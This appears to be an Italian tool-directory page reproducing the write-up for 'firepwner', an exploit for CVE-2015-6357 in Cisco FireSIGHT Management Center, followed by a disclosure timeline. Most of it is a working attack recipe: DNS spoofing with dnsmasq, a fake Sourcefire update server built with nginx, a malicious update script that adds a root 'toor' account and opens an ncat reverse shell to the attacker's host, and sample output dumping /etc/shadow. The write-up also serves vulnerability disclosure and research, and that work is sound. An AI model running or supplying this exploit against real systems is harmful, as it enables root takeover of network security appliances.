Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
firepwner — Exploit per la vulnerabilità di convalida dei certificati CVE-2015-6357 di Cisco FireSIGHT Management Center | Kitploit
Strumenti/GitHubGitHub/mattimustang/firepwner
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlAnalisi DNS
GitHubmattimustang/firepwner

firepwner

Exploit per la vulnerabilità di convalida dei certificati CVE-2015-6357 di Cisco FireSIGHT Management Center

Vedi Repository
6510 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2015-6357: Exploit FirePWNER per la vulnerabilità di convalida SSL di Cisco FireSIGHT Management Center

Introduzione

Da sola, la vulnerabilità di convalida dei certificati di Cisco FireSIGHT Management Center è una vulnerabilità di gravità media con un CVSS di 5.1. Tuttavia, questa vulnerabilità è un esempio del perché la convalida dei certificati SSL sia così importante. In questo exploit dimostrerò come la vulnerabilità può essere sfruttata per ottenere l'esecuzione remota di comandi con privilegi su un sistema Cisco FireSIGHT. L'exploit combina la vulnerabilità di convalida SSL con il processo di aggiornamento software del sistema Cisco FireSIGHT per indurre il sistema target a scaricare un aggiornamento dannoso ed eseguirlo, ottenendo una reverse shell con privilegi root.

E PER QUESTO DOVRESTI SEMPRE VALIDARE I CERTIFICATI SSL

La vulnerabilità

L'appliance Cisco FireSIGHT Management Center viene utilizzata per gestire i Cisco FirePOWER Intrusion Prevention Systems (IPS), noti anche come Sourcefire IPS. FireSIGHT è responsabile del download delle firme IPS aggiornate e della loro installazione sui dispositivi IPS gestiti.

Il FireSIGHT Management Center consente a un amministratore di avviare manualmente un aggiornamento delle regole IPS o di programmare gli aggiornamenti con cadenza giornaliera/settimanale/mensile.

Quando il FireSIGHT Management Center esegue un aggiornamento, utilizza il comando UNIX curl per effettuare il download da Sourcefire Support. All'invocazione del comando curl viene passata l'opzione -k (nota anche come --insecure), che indica a curl di non convalidare alcun certificato SSL presentato dal server.

Ecco l'output del comando ps del server mentre scarica un aggiornamento:

root@kitploit:~
admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/Sourcefire_Geodb_Update-2015-08-17-002.sh https://support.sourcefire.com/auto-update/auto-dl.cgi/XX:XX:XX:XX:XX:XX:XX/Download/files/Sourcefire_Geodb_Update-2015-08-17-002.sh

Gli aggiornamenti FireSIGHT si presentano sotto forma di script shell generato da makeself, contenente sia comandi UNIX Bourne shell sia i dati binari da distribuire con l'aggiornamento. Questi script di aggiornamento shell vengono eseguiti direttamente sul server FireSIGHT come utente locale www.

Un attaccante in grado di eseguire un attacco man in the middle contro un server FireSIGHT può costringerlo a connettersi a una versione contraffatta del sito web Sourcefire Support e a scaricare uno script di aggiornamento dannoso che eseguirà sul server FireSIGHT qualsiasi comando desideri l'attaccante.

La vulnerabilità di convalida SSL rende possibile tutto ciò: il sistema ignora allegramente il certificato SSL contraffatto dell'attaccante, scarica l'aggiornamento dannoso e lo esegue.

Se il comando curl convalidasse il certificato SSL, il download dello script dannoso fallirebbe e il server FireSIGHT sarebbe protetto dall'attaccante.

Questo exploit dimostra il pericolo di non convalidare il certificato SSL sfruttando la vulnerabilità per ottenere l'esecuzione remota di comandi come utente root.

Lo scenario d'attacco

Lo scenario d'attacco prevede che un attaccante abbia ottenuto la capacità di intercettare (man in the middle) il traffico dal server FireSIGHT verso il sito web https://support.sourcefire.com. Il modo più semplice per dimostrarlo è configurare un server DNS "compromesso" che risponda alle query per il dominio support.sourcefire.com con l'indirizzo IP di un server web controllato dall'attaccante.

In uno scenario d'attacco reale, l'attaccante può utilizzare numerose tecniche man in the middle per ottenere lo stesso risultato. Ad esempio:

  • Avvelenamento della cache DNS (DNS cache poisoning)
  • Spoofing ARP, ad esempio con ettercap.

Questo exploit è stato testato sulle seguenti versioni di FireSIGHT Virtual Appliance:

  • 5.2.0
  • 5.3.0
  • 5.4.0
  • 5.4.1.1
  • 5.4.1.2

Nel PoC seguente, al server FireSIGHT è stato assegnato l'indirizzo IP 192.168.1.99.

L'host attaccante eseguiva Kali Linux 2.0, anche se la configurazione seguente dovrebbe funzionare su qualsiasi server basato su Debian Linux. L'indirizzo IP dell'host Kali nell'esempio seguente è 192.168.1.1. L'host Kali viene utilizzato per eseguire sia il server DNS sia il sito web contraffatto di Sourcefire Support.

Configurazione di dnsmasq

L'exploit richiede la capacità di falsificare la risposta DNS per support.sourcefire.com. Viene eseguito un server dnsmasq per fornire questa funzionalità e fungere da server DNS "compromesso".

Installa dnsmasq:

root@kitploit:~
root@kali# apt-get install dnsmasq

Configura dnsmasq:

root@kitploit:~
root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf
address=/support.sourcefire.com/192.168.1.1
server=8.8.8.8
EOF

Modifica l'indirizzo IP sulla riga address in modo che corrisponda all'indirizzo del server web da cui servirai gli aggiornamenti.

Avvia dnsmasq:

root@kitploit:~
root@kali# service dnsmasq start

Configurazione di nginx

È richiesto un server web per servire l'exploit al server FireSIGHT quando questo richiede un aggiornamento.

Installa il server web nginx:

root@kitploit:~
root@kali# apt-get install nginx

Crea un certificato autofirmato per impersonare support.sourcefire.com:

root@kitploit:~
root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:support.sourcefire.com
Email Address []:

Configura nginx sostituendo il contenuto di /etc/nginx/sites-available/default con:

root@kitploit:~
server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    server_name support.sourcefire.com;
    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;
    }

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;
    }

    location /auto-update {
        root /var/www/html/firepwner;
    }

}

Avvia nginx:

root@kitploit:~
root@kali# service nginx start

Preparazione dell'exploit

L'exploit FirePWNER richiede che dal server web vengano serviti due file. Il primo file è il manifest dell'aggiornamento, un file XML che contiene un elenco degli aggiornamenti disponibili, la loro posizione di download e gli hash MD5.

Per prima cosa devi creare alcune directory:

root@kitploit:~
root@kali# mkdir \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/{Download/files,GetCurrent}

Poi copia i file dell'exploit al loro interno:

root@kitploit:~
root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp firepwner.sh \
    /var/www/html/firepwner/auto-update/auto-dl.cgi/Download/files/firepwner.sh

Dopo aver copiato questi file, dovresti essere in grado di navigare fino a http://192.168.1.1/auto-update/auto-dl.cgi/GetCurrent/sf.xml

Configurazione del DNS del server FireSIGHT

Successivamente, a scopo dimostrativo dell'exploit, il server FireSIGHT deve essere configurato per utilizzare il server DNS "compromesso". Accedi al portale web di FireSIGHT e vai su System > Local > Configure > Management Interfaces, imposta il server DNS primario sull'indirizzo IP del server DNS "compromesso" (192.168.1.1) e salva la modifica.

Esecuzione dell'exploit

L'exploit utilizza il comando ncat, installato per impostazione predefinita sul server FireSIGHT, per creare una reverse shell verso l'host Kali. Sull'host Kali devi metterti in ascolto per la connessione della reverse shell proveniente dal server FireSIGHT:

root@kitploit:~
root@kali# ncat -v -l 4444

Quindi, sul portale web di FireSIGHT, vai su System > Updates > Rule Updates, seleziona Download new rule update from the Support Site e clicca sul pulsante Import. Il server scaricherà quindi il manifest dell'aggiornamento sf.xml dal server dell'attaccante, rileverà che è disponibile un aggiornamento, scaricherà l'aggiornamento e lo eseguirà come utente www. Lo script di aggiornamento/exploit seguente sfrutta il fatto che l'utente www dispone di una serie di comandi sudo che può eseguire, tra cui useradd. L'exploit crea un nuovo utente toor con password vuota e poi usa su per elevare i privilegi e avviare una connessione reverse shell verso il server dell'attaccante.

root@kitploit:~
#!/bin/sh
# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh support.sourcefire.com 4444"
exit 0

Lo script dell'exploit può essere modificato per eseguire qualsiasi altro comando desiderato. Se lo script viene modificato, il valore del tag XML <md5sum> in sf.xml deve essere aggiornato con il nuovo hash MD5 dello script dell'exploit.

Questo è un esempio dell'output che dovresti vedere sull'host Kali quando l'exploit ha successo, viene aperta una shell remota sul server FireSIGHT e vengono eseguiti i comandi id e cat /etc/passwd:

root@kitploit:~
root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.1.99.
Ncat: Connection from 192.168.1.99:41637.
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:x:11869:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
mysql:*:9797:0:::::
nobody:*:9797:0:::::
sshd:*:9797:0:::::
www:*:9797:0:::::
sfsnort:*:9797:0:::::
sfremediation:*:9797:0:::::
sfrna:*:9797:0:::::
snorty:*:9797:0:::::
admin:$6$GCOeXpyR$Qhq6Eq5aSW8n.15RajwYrHVLud8NaN4aKEkVXC43I5m/X.ux/bgIHAplYifOaxTIxaIThqOBGmZgO5aey5tjE/:11869:0:::::
toor:$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.:16679:0:99999:7:::

Ottenere l'exploit

I file utilizzati in questo exploit possono essere ottenuti da github.

Cronologia della divulgazione

  • 2015-08-31 Vulnerabilità scoperta in FireSIGHT 5.4.x ed exploit sviluppato da Matthew Flanagan.
  • 2015-09-01 Primo contatto effettuato con Cisco PSIRT all'indirizzo [email protected].
  • 2015-09-01 Il PSIRT ha risposto chiedendo maggiori informazioni.
  • 2015-09-01 Matthew Flanagan ha fornito al PSIRT il rapporto completo e l'exploit della vulnerabilità.
  • 2015-09-02 Il PSIRT ha aperto un difetto FireSIGHT e l'incidente PSIRT-190974966.
  • 2015-09-15 Matthew Flanagan ha segnalato al PSIRT che anche le versioni 5.2.0 e 5.3.0 sono vulnerabili.
  • 2015-10-16 Il PSIRT mi ha comunicato il punteggio CVSS assegnato alla vulnerabilità.
  • 2015-11-09 Il PSIRT ha assegnato l'ID CVE CVE-2015-6357.
  • 2015-11-16 Pubblicata la vulnerabilità di convalida dei certificati di Cisco FireSIGHT Management Center.
  • 2015-11-16 Pubblicati i risultati di Matthew Flanagan.
Scarica lo strumento